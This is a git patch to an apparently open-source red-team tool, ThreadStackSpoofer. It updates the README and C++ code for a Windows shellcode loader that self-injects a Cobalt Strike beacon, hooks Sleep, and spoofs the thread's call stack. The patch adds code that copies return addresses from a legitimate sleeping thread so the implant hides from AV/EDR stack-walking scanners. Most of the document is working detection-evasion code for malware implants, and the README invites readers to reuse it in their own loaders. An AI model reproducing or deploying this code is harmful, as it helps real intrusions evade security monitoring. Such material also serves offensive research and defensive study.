From 33887b079d72eb559298390a99fea12d49ca04e7 Mon Sep 17 00:00:00 2001 From: "Mariusz B. / mgeeky" Date: Mon, 27 Sep 2021 15:09:20 +0200 Subject: [PATCH] readme --- README.md | 16 ++++-- .../ThreadStackSpoofer.vcxproj.user | 2 +- ThreadStackSpoofer/header.h | 4 +- ThreadStackSpoofer/main.cpp | 55 ++++++++++++++++++- 4 files changed, 68 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index b2807ef..d952f46 100644 --- a/README.md +++ b/README.md @@ -12,9 +12,6 @@ Especially demonstrated in this video: [Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665) -**A note on wording** - some may argue that the technique presented in this implementation is not strictly **_Thread Stack Spoofing_** but rather _Call Stack Spoofing_ to some extent. -I myself believe, that whatever wording is used here, the outcome remains similar to what was presented in an originally named technique - thus the borrowed name for this code. Since we're clobbering some pointers on the thread's stack, wouldn't we call it spoofing the stack anyway and ultimatley still resort to - _Thread Stack Spoofing_? The answer is left to the reader. - ## How it works? This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`). @@ -49,6 +46,17 @@ _(the above image was borrowed from **Eli Bendersky's** post named [Stack frame This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`. +## Actually this is not (yet) a true stack spoofing + +As it's been pointed out to me, the technique here is not _yet_ truely holding up to its name for being _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the rest part of the stack itself and also, in its current form, where we leave a sequence of `::CreateFileW` addresses acting as an example, we're making the stack non-unwindable. Meaning, the stack looks rather odd at first sight. + +However I'm aware of this fact, at the moment I've left it as is since I cared mostly about automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable. + +Surely with this project (and commercial implemention found in C2 frameworks) AV & EDR vendors have now received arguments to consider implementing these heuristics. + +The research on this subject is not yet finished and hopefully will result in better quality Stack Spoofing in upcoming days. Nonetheless, I'm releasing what I got so far, to sparkle inspirations and interest community into better researching this area. + + ## How do I use it? Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements. @@ -159,7 +167,7 @@ If our callback is not called, the thread will be unable to spoof its own call s If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps. -If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/rsmudge/unhook-bof/pull/2) that adds optional parameter to the BOF specifying libraries that should not be unhooked. +If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked. This way you can maintain your hooks in kernel32: diff --git a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user index 8673b85..9ab7f73 100644 --- a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user +++ b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user @@ -1,7 +1,7 @@  - d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin + d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1 WindowsLocalDebugger \ No newline at end of file diff --git a/ThreadStackSpoofer/header.h b/ThreadStackSpoofer/header.h index 4c80b4e..961d13a 100644 --- a/ThreadStackSpoofer/header.h +++ b/ThreadStackSpoofer/header.h @@ -51,7 +51,9 @@ struct StackTraceSpoofingMetadata LPVOID pSymGetModuleBase64; bool initialized; CallStackFrame spoofedFrame[MaxStackFramesToSpoof]; + CallStackFrame mimicFrame[MaxStackFramesToSpoof]; size_t spoofedFrames; + size_t mimickedFrames; }; struct HookedSleep @@ -87,7 +89,7 @@ static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ; bool hookSleep(); bool injectShellcode(std::vector& shellcode); bool readShellcode(const char* path, std::vector& shellcode); -void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false); +void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve = Frames_To_Preserve); bool initStackSpoofing(); bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL); void spoofCallStack(bool overwriteOrRestore); diff --git a/ThreadStackSpoofer/main.cpp b/ThreadStackSpoofer/main.cpp index dc5c09d..bb960f8 100644 --- a/ThreadStackSpoofer/main.cpp +++ b/ThreadStackSpoofer/main.cpp @@ -112,7 +112,7 @@ bool hookSleep() return true; } -void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/) +void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve) { CONTEXT c = { 0 }; STACKFRAME64 s = { 0 }; @@ -217,7 +217,7 @@ void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, siz // Skip first two frames as they most likely link back to our callers - and thus we can't spoof them: // MySleep(...) -> spoofCallStack(...) -> ... // - if (Frame < Frames_To_Preserve) + if (Frame < framesToPreserve) continue; bool skipFrame = false; @@ -267,14 +267,23 @@ void spoofCallStack(bool overwriteOrRestore) { for (size_t i = 0; i < numOfFrames; i++) { + if (i > g_stackTraceSpoofing.mimickedFrames) + { + CallStackFrame frame = { 0 }; + g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame; + break; + } + auto& frame = frames[i]; + auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i]; if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof) { // // We will use CreateFileW as a fake return address to place onto the thread's frame on stack. // - frame.overwriteWhat = (ULONG_PTR)::CreateFileW; + //frame.overwriteWhat = (ULONG_PTR)::CreateFileW; + frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr; // // We're saving original frame to later use it for call stack restoration. @@ -445,6 +454,40 @@ bool injectShellcode(std::vector& shellcode, HandlePtr &thread) return (NULL != thread.get()); } +/* +void _acquireLegitimateThreadStack(LPVOID param) +{ + ULONG_PTR lowLimit = 0, highLimit = 0; + ULONG stackSize = highLimit - lowLimit; + GetCurrentThreadStackLimits(&lowLimit, &highLimit); + + g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0); + memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize); +} +*/ + +bool acquireLegitimateThreadStack() +{ + CallStackFrame frames[MaxStackFramesToSpoof] = { 0 }; + size_t numOfFrames = 0; + + HandlePtr secondThread(::CreateThread( + NULL, + 0, + (LPTHREAD_START_ROUTINE)::Sleep, + (LPVOID)INFINITE, + 0, + 0 + ), &::CloseHandle); + + Sleep(1000); + + walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0); + + return g_stackTraceSpoofing.mimickedFrames > 0; +} + + int main(int argc, char** argv) { if (argc < 3) @@ -472,6 +515,12 @@ int main(int argc, char** argv) return 1; } + if (!acquireLegitimateThreadStack()) + { + log("[!] Could not acquire legitimate thread's stack."); + return 1; + } + log("[.] Hooking kernel32!Sleep..."); if (!hookSleep()) {